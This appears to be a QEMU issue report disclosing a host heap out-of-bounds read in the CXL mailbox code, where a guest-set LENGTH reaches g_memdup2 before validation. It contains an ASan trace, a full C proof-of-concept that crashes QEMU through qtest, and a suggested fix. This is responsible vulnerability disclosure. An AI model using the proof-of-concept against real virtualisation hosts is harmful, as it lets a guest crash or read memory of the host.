hw/cxl: guest-controlled mailbox LENGTH can cause host OOB read before validation
I found another CXL mailbox bug, different from the recent Set Feature issues. This one is in the shared mailbox transport path in `hw/cxl/cxl-device-utils.c`. `mailbox_reg_write()` reads `CXL_DEV_MAILBOX_CMD.LENGTH` from the guest and then immediately snapshots the mailbox payload with `g_memdup2(pl, len_in)`, before checking that `len_in` actually fits in the mailbox payload buffer. As a result, a guest can supply an oversized `LENGTH` and make QEMU read past the end of the host-side mailbox payload storage before the request reaches the normal validation path in `cxl_process_cci_message()`. This is in the shared mailbox doorbell path, so it is not limited to one CXL device model. I confirmed the crash reliably with `cxl-switch-mailbox-cci`. The same root cause is also present for `cxl-type3`. Relevant code: ```c size_t len_in = FIELD_EX64(command_reg, CXL_DEV_MAILBOX_CMD, LENGTH); ... pl_in_copy = g_memdup2(pl, len_in); ``` The issue is simply that `len_in` is consumed by `g_memdup2()` before QEMU rejects it as an invalid payload length. Test environment: - host arch: `x86_64` - target: `x86_64-softmmu` - commit: `ac0cc20ad2fe0b8df2e5d9458e90a095ac711ab1` - describe: `v11.0.0-436-gac0cc20ad2-dirty` - build: ```text ../configure --enable-asan --enable-ubsan --target-list=x86_64-softmmu ninja -C build-asan ``` For the reproducer I used an oversized mailbox `LENGTH = 0xfffff` and then rang the mailbox doorbell through the switch mailbox CCI path. ASan output: ```text ==3570682==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x52a0000174a0 at pc 0x76b02e63a397 bp 0x7fff3996f790 sp 0x7fff3996ef38 READ of size 1048575 at 0x52a0000174a0 thread T0 #0 0x76b02e63a396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 #1 0x76b02e0fd6c3 in g_memdup2 (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x736c3) #2 0x5765da26db74 in g_memdup2_qemu ../include/glib-compat.h:99 #3 0x5765da26f2ad in mailbox_reg_write ../hw/cxl/cxl-device-utils.c:205 #4 0x5765da9090a8 in memory_region_write_accessor ../system/memory.c:492 #5 0x5765da909734 in access_with_adjusted_size ../system/memory.c:568 #6 0x5765da911d18 in memory_region_dispatch_write ../system/memory.c:1548 #7 0x5765da93a95f in flatview_write_continue_step ../system/physmem.c:3263 #8 0x5765da93ab5a in flatview_write_continue ../system/physmem.c:3293 #9 0x5765da93ae4e in flatview_write ../system/physmem.c:3324 #10 0x5765da93ba01 in address_space_write ../system/physmem.c:3444 #11 0x5765da94c352 in qtest_process_command ../system/qtest.c:533 #12 0x5765da94f8a2 in qtest_process_inbuf ../system/qtest.c:778 #13 0x5765da94f9f5 in qtest_read ../system/qtest.c:787 #14 0x5765db17d818 in qemu_chr_be_write_impl ../chardev/char.c:247 #15 0x5765db17d8c7 in qemu_chr_be_write ../chardev/char.c:259 #16 0x5765db172568 in tcp_chr_read ../chardev/char-socket.c:511 #17 0x5765daee0194 in qio_channel_fd_source_dispatch ../io/channel-watch.c:84 #18 0x76b02e0dfc43 in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55c43) #19 0x5765db3a4050 in glib_pollfds_poll ../util/main-loop.c:290 #20 0x5765db3a41c3 in os_host_main_loop_wait ../util/main-loop.c:313 #21 0x5765db3a44d3 in main_loop_wait ../util/main-loop.c:592 #22 0x5765da955074 in qemu_main_loop ../system/runstate.c:948 #23 0x5765db1c48e6 in qemu_default_main ../system/main.c:50 #24 0x5765db1c4a0e in main ../system/main.c:93 #25 0x76b02d829d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 #26 0x76b02d829e3f in __libc_start_main_impl ../csu/libc-start.c:392 #27 0x5765d9fc1ce4 in _start (/home/jia/qemu-origin-master-verify/build-asan/qemu-system-x86_64+0xb18ce4) 0x52a0000174a0 is located 0 bytes to the right of 21152-byte region [0x52a000012200,0x52a0000174a0) allocated by thread T0 here: #0 0x76b02e6b4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145 #1 0x76b02e0e8738 in g_malloc (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x5e738) #2 0x5765daeb1f74 in object_new ../qom/object.c:729 #3 0x5765daea4a89 in qdev_new ../hw/core/qdev.c:150 #4 0x5765da947205 in qdev_device_add_from_qdict ../system/qdev-monitor.c:701 #5 0x5765da9474b2 in qdev_device_add ../system/qdev-monitor.c:749 #6 0x5765da8e07a3 in device_init_func ../system/vl.c:1215 #7 0x5765db381a77 in qemu_opts_foreach ../util/qemu-option.c:1135 #8 0x5765da8e7873 in qemu_create_cli_devices ../system/vl.c:2749 #9 0x5765da8e7d24 in qmp_x_exit_preconfig ../system/vl.c:2809 #10 0x5765da8ec862 in qemu_init ../system/vl.c:3846 #11 0x5765db1c49b7 in main ../system/main.c:71 #12 0x76b02d829d8f in __libc_start_call_main ../sysdeps/nptl/libc_start_call_main.h:58 ``` Full PoC: ```c #define _GNU_SOURCE #include <errno.h> #include <fcntl.h> #include <poll.h> #include <signal.h> #include <stdarg.h> #include <stdbool.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/socket.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/un.h> #include <sys/wait.h> #include <unistd.h> #define QTEST_BAR0 0x20000000ULL #define MAILBOX_BASE (QTEST_BAR0 + 0x88) #define MAILBOX_CTRL (MAILBOX_BASE + 0x04) #define MAILBOX_CMD (MAILBOX_BASE + 0x08) #define ROOT_PORT_DEVFN 0x20 #define SECONDARY_BUS 0x01 #define SWITCH_DEVFN 0x00 static void die(const char *msg) { perror(msg); exit(1); } static void xwrite_all(int fd, const char *buf, size_t len) { while (len) { ssize_t n = write(fd, buf, len); if (n < 0) { if (errno == EINTR) { continue; } die("write"); } buf += n; len -= n; } } static void qtest_cmd(int fd, const char *fmt, ...) { char cmd[256]; char reply[256]; va_list ap; size_t off = 0; va_start(ap, fmt); vsnprintf(cmd, sizeof(cmd), fmt, ap); va_end(ap); xwrite_all(fd, cmd, strlen(cmd)); xwrite_all(fd, "\n", 1); while (off + 1 < sizeof(reply)) { ssize_t n = read(fd, &reply[off], 1); if (n < 0) { if (errno == EINTR) { continue; } die("read"); } if (n == 0) { fprintf(stderr, "qtest socket closed after command: %s\n", cmd); exit(1); } if (reply[off] == '\n') { reply[off] = '\0'; break; } off++; } if (strncmp(reply, "OK", 2) != 0) { fprintf(stderr, "unexpected qtest reply for %s: %s\n", cmd, reply); exit(1); } } static pid_t spawn_qemu(const char *qemu, const char *sock_path) { pid_t pid = fork(); if (pid < 0) { die("fork"); } if (pid == 0) { char *argv[] = { (char *)qemu, "-machine", "q35,cxl=on", "-accel", "qtest", "-display", "none", "-nodefaults", "-monitor", "none", "-serial", "none", "-qtest", NULL, "-device", "pxb-cxl,bus_nr=12,bus=pcie.0,id=cxl.1", "-device", "cxl-rp,port=0,bus=cxl.1,id=root_port0,chassis=0,slot=0", "-device", "cxl-upstream,bus=root_port0,id=us0", "-device", "pcie-root-port,id=rp0,bus=pcie.0,addr=4.0,chassis=1", "-device", "cxl-switch-mailbox-cci,bus=rp0,target=us0,id=swcci0", NULL, }; char qtest_arg[256]; snprintf(qtest_arg, sizeof(qtest_arg), "unix:%s", sock_path); argv[13] = qtest_arg; execvp(qemu, argv); perror("execvp"); _exit(1); } return pid; } int main(int argc, char **argv) { char tmpdir[] = "/tmp/cxlmboxoobXXXXXX"; char sock_path[256]; struct sockaddr_un addr; struct pollfd pfd; int server_fd, conn_fd; pid_t pid; int status; const char *qemu = argc > 1 ? argv[1] : "qemu-system-x86_64"; if (!mkdtemp(tmpdir)) { die("mkdtemp"); } snprintf(sock_path, sizeof(sock_path), "%s/qtest.sock", tmpdir); server_fd = socket(AF_UNIX, SOCK_STREAM, 0); if (server_fd < 0) { die("socket"); } memset(&addr, 0, sizeof(addr)); addr.sun_family = AF_UNIX; if (strlen(sock_path) >= sizeof(addr.sun_path)) { fprintf(stderr, "socket path too long\n"); return 1; } memcpy(addr.sun_path, sock_path, strlen(sock_path) + 1); unlink(sock_path); if (bind(server_fd, (struct sockaddr *)&addr, sizeof(addr)) < 0) { die("bind"); } if (listen(server_fd, 1) < 0) { die("listen"); } pid = spawn_qemu(qemu, sock_path); conn_fd = accept(server_fd, NULL, NULL); if (conn_fd < 0) { die("accept"); } qtest_cmd(conn_fd, "outl 0xcf8 0x%08x", 0x80000000U | (ROOT_PORT_DEVFN << 8) | 0x04); qtest_cmd(conn_fd, "outl 0xcfc 0x00000006"); qtest_cmd(conn_fd, "outl 0xcf8 0x%08x", 0x80000000U | (ROOT_PORT_DEVFN << 8) | 0x18); qtest_cmd(conn_fd, "outl 0xcfc 0x00010100"); qtest_cmd(conn_fd, "outl 0xcf8 0x%08x", 0x80000000U | (ROOT_PORT_DEVFN << 8) | 0x20); qtest_cmd(conn_fd, "outl 0xcfc 0x20002000"); qtest_cmd(conn_fd, "outl 0xcf8 0x%08x", 0x80000000U | (SECONDARY_BUS << 16) | (SWITCH_DEVFN << 8) | 0x10); qtest_cmd(conn_fd, "outl 0xcfc 0x%08x", (unsigned)QTEST_BAR0); qtest_cmd(conn_fd, "outl 0xcf8 0x%08x", 0x80000000U | (SECONDARY_BUS << 16) | (SWITCH_DEVFN << 8) | 0x14); qtest_cmd(conn_fd, "outl 0xcfc 0x00000000"); qtest_cmd(conn_fd, "outl 0xcf8 0x%08x", 0x80000000U | (SECONDARY_BUS << 16) | (SWITCH_DEVFN << 8) | 0x04); qtest_cmd(conn_fd, "outl 0xcfc 0x00000002"); qtest_cmd(conn_fd, "writeq 0x%llx 0x%llx", (unsigned long long)MAILBOX_CMD, (unsigned long long)(((uint64_t)0xfffff << 16) | ((uint64_t)0x43 << 8) | 0x04)); qtest_cmd(conn_fd, "writel 0x%llx 0x1", (unsigned long long)MAILBOX_CTRL); pfd.fd = conn_fd; pfd.events = POLLIN | POLLHUP | POLLERR; poll(&pfd, 1, 500); if (waitpid(pid, &status, WNOHANG) == 0) { fprintf(stderr, "QEMU is still alive. The build is likely patched.\n"); kill(pid, SIGTERM); waitpid(pid, &status, 0); close(conn_fd); close(server_fd); unlink(sock_path); rmdir(tmpdir); return 0; } if (WIFSIGNALED(status)) { fprintf(stderr, "QEMU terminated by signal %d\n", WTERMSIG(status)); } else if (WIFEXITED(status)) { fprintf(stderr, "QEMU exited with status %d\n", WEXITSTATUS(status)); } close(conn_fd); close(server_fd); unlink(sock_path); rmdir(tmpdir); return 0; } ``` Build and run: ```text gcc -O2 -Wall -Wextra -o qemu-cxl-mailbox-length-oob-poc qemu-cxl-mailbox-length-oob-poc.c ASAN_OPTIONS=detect_leaks=0:abort_on_error=1:halt_on_error=1:symbolize=1 \ ./qemu-cxl-mailbox-length-oob-poc ./build-asan/qemu-system-x86_64 ``` Suggested fix: ```c if (len_in > cci->payload_max) { rc = CXL_MBOX_INVALID_PAYLOAD_LENGTH; } else { pl_in_copy = g_memdup2(pl, len_in); if (len_in == 0 || pl_in_copy) { memset(pl, 0, CXL_MAILBOX_MAX_PAYLOAD_SIZE); rc = cxl_process_cci_message(cci, cmd_set, cmd, len_in, pl_in_copy, &len_out, pl, &bg_started); } else { rc = CXL_MBOX_INTERNAL_ERROR; } } ``` I tested that locally and the same request then returns `CXL_MBOX_INVALID_PAYLOAD_LENGTH` instead of reading past the host buffer. The current code came from: - `c9460561ed ("hw/cxl/mbox: Generalize the CCI command processing")`
issue